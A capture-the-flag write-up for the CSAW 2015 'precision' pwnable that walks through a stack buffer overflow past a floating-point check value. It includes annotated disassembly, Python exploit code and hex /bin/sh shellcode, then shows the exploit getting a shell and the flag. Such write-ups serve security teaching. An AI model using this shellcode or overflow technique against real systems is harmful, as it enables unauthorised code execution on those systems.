CSAW2015 quals precision exploit 100

@mrexcessive WHA

CSAW exploit 100 precision


The problem

running at:
nc 1259

Pwnable Exploit no-source binary-provided


The solution

OK... so first of all setup debugging, get readelf -a and objdump -d on binary

Setup a local copy of the server using simple nc shell loop so can attach gdb easily

while true; do nc -l -p 1337 -e ./precision ; done

Now we can

$nc localhost 1337

#and in another terminal
$ps ax |grep precision$
$gdb ./precision -p 

Now we are ready for a bit of Python to connect and then attach to process after connection starts but before we interact with the service - which makes debugging posible - much easier than just Static Analysis.

When the challenge program starts, it outputs a message

Buff: 0xff900018

and then waits for input..

So looking at the objdump output assembler, I see this code, which I comment.

 804856f:    8d 44 24 18             lea    0x18(%esp),%eax
 8048573:    89 44 24 04             mov    %eax,0x4(%esp)
 8048577:    c7 04 24 82 86 04 08    movl   $0x8048682,(%esp)               # "%s"
 804857e:    e8 8d fe ff ff          call   8048410 <__isoc99_scanf@plt>    # we are here for input
 8048583:    dd 84 24 98 00 00 00    fldl   0x98(%esp)
 804858a:    dd 05 90 86 04 08       fldl   0x8048690                       # has 0x475a31a5
 8048590:    df e9                   fucomip %st(1),%st
 8048592:    dd d8                   fstp   %st(0)
 8048594:    7a 13                   jp     80485a9
 8048596:    dd 84 24 98 00 00 00    fldl   0x98(%esp)
 804859d:    dd 05 90 86 04 08       fldl   0x8048690
 80485a3:    df e9                   fucomip %st(1),%st
 80485a5:    dd d8                   fstp   %st(0)
 80485a7:    74 18                   je     80485c1             # follows this once 'correct canary' patched
 80485a9:    c7 04 24 85 86 04 08    movl   $0x8048685,(%esp)            "Nope"
 80485b0:    e8 0b fe ff ff          call   80483c0 <puts@plt>
 80485b5:    c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 80485bc:    e8 1f fe ff ff          call   80483e0 <exit@plt>

 80485c1:    a1 30 a0 04 08          mov    0x804a030,%eax               "Got %s\n"
 80485c6:    8d 54 24 18             lea    0x18(%esp),%edx              # buffer start address
 80485ca:    89 54 24 04             mov    %edx,0x4(%esp)
 80485ce:    89 04 24                mov    %eax,(%esp)
 80485d1:    e8 da fd ff ff          call   80483b0 <printf@plt>
 80485d6:    c9                      leave  
 80485d7:    c3                      ret                                 # unprotected return

Looks like the pair of fldl are being used to compare something from the input with a fixed value.

We just need to make sure the input has same content as [0x8048690] which is 0x475a31a5
That will get us to the 'correct canary' path (canary in Quotes, because not really a canary...but it is playing that role here...)

So our aim is to get to the unprotected return... There is no actual stack canary to worry about.

First attempt fails the 'canary' test.
But that's because fldl is a quadword not a doubleword.

Putting the bytes [dd 05 90 86 04 08] into ODA https://www.onlinedisassembler.com/odaweb/ makes it clearer
ODA translates this as fld QWORD PTR [esp+0x98]
So 8 bytes of data

So looking again in gdb we need the canary line of code to be:

   pwn += "\xa5\x31\x5a\x47\x55\x15\x50\x40"    # floating point canary...

Now it works and we get past the canary check.

We need to see how much more data to send after the 'canary', to get to overwrite the return address.
We know it will happen because the input buffer is on the stack, so is the return address...

In gdb we can see the return address on stack.

x/64xw 0xff9c4338
0xff9c4338:    0x41414141  0x41414141  0x41414141  0x41414141
0xff9c4348:    0x41414141  0x41414141  0x41414141  0x41414141
0xff9c4358:    0x41414141  0x41414141  0x41414141  0x41414141
0xff9c4368:    0x41414141  0x41414141  0x41414141  0x41414141
0xff9c4378:    0x41414141  0x41414141  0x41414141  0x41414141
0xff9c4388:    0x41414141  0x41414141  0x41414141  0x41414141
0xff9c4398:    0x41414141  0x41414141  0x41414141  0x41414141
0xff9c43a8:    0x41414141  0x41414141  0x41414141  0x41414141
0xff9c43b8:    0x43434242  0x45454444 [0x08048500]      # <-- this [ ] address is return

shellcode can be loaded at the start of the buffer, some padding to get to the canary, more padding and finally the return address.

A final bit of coding is needed to parse the startup message which is telling us the location of the buffer - confirmed using gdb, which is where the shellcode will be and hence the address to which we will return Buff: 0xff900018 for example.

Exploit coding time:

   r = GetResponse()
   print r                                        # this has our buffer address
   drop,keep = r.split("Buff: 0x")
   # swap byte order around, string "ff9c4338" must become "\x38\x43\x9c\xff" for example
   keep = keep[6:8] + keep[4:6] + keep[2:4] + keep[:2]
   buffaddressbinary = keep.decode("hex")
   print "buffer found at %08x" + buffaddressbinary
   shell = GetShellcode()
   pwn = shell
   padding_length = 128 - len(shell)
   print "%i padding bytes required" % padding_length
   pwn += "A"*padding_length
   pwn += "\xa5\x31\x5a\x47"                    # floating point canary...
   pwn += "A" * 0xc                             # account for LEAVE (mov ESP, EBP : pop EBP)
   pwn += buffaddressbinary                     # shellcode starts at start of buffer
   pwn += "\n"
   r = GetResponse()
   print r

So first of all test it locally

 to continue after you attach debugger
Buff: 0xff900018

buffer found at %08x��
Shellcode = [31c9f7e151682f2f7368682f62696e89e3b0b0c0e804cd80]
shellcode length = 24
104 padding bytes required


OK and run it remotely to get a flag... or shell at least

Buff: 0xffeeb118

buffer found at %08x���
Shellcode = [31c9f7e151682f2f7368682f62696e89e3b0b0c0e804cd80]
shellcode length = 24
104 padding bytes required

this was more annoying than it should have been
cat flaeg
cat flag
! flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}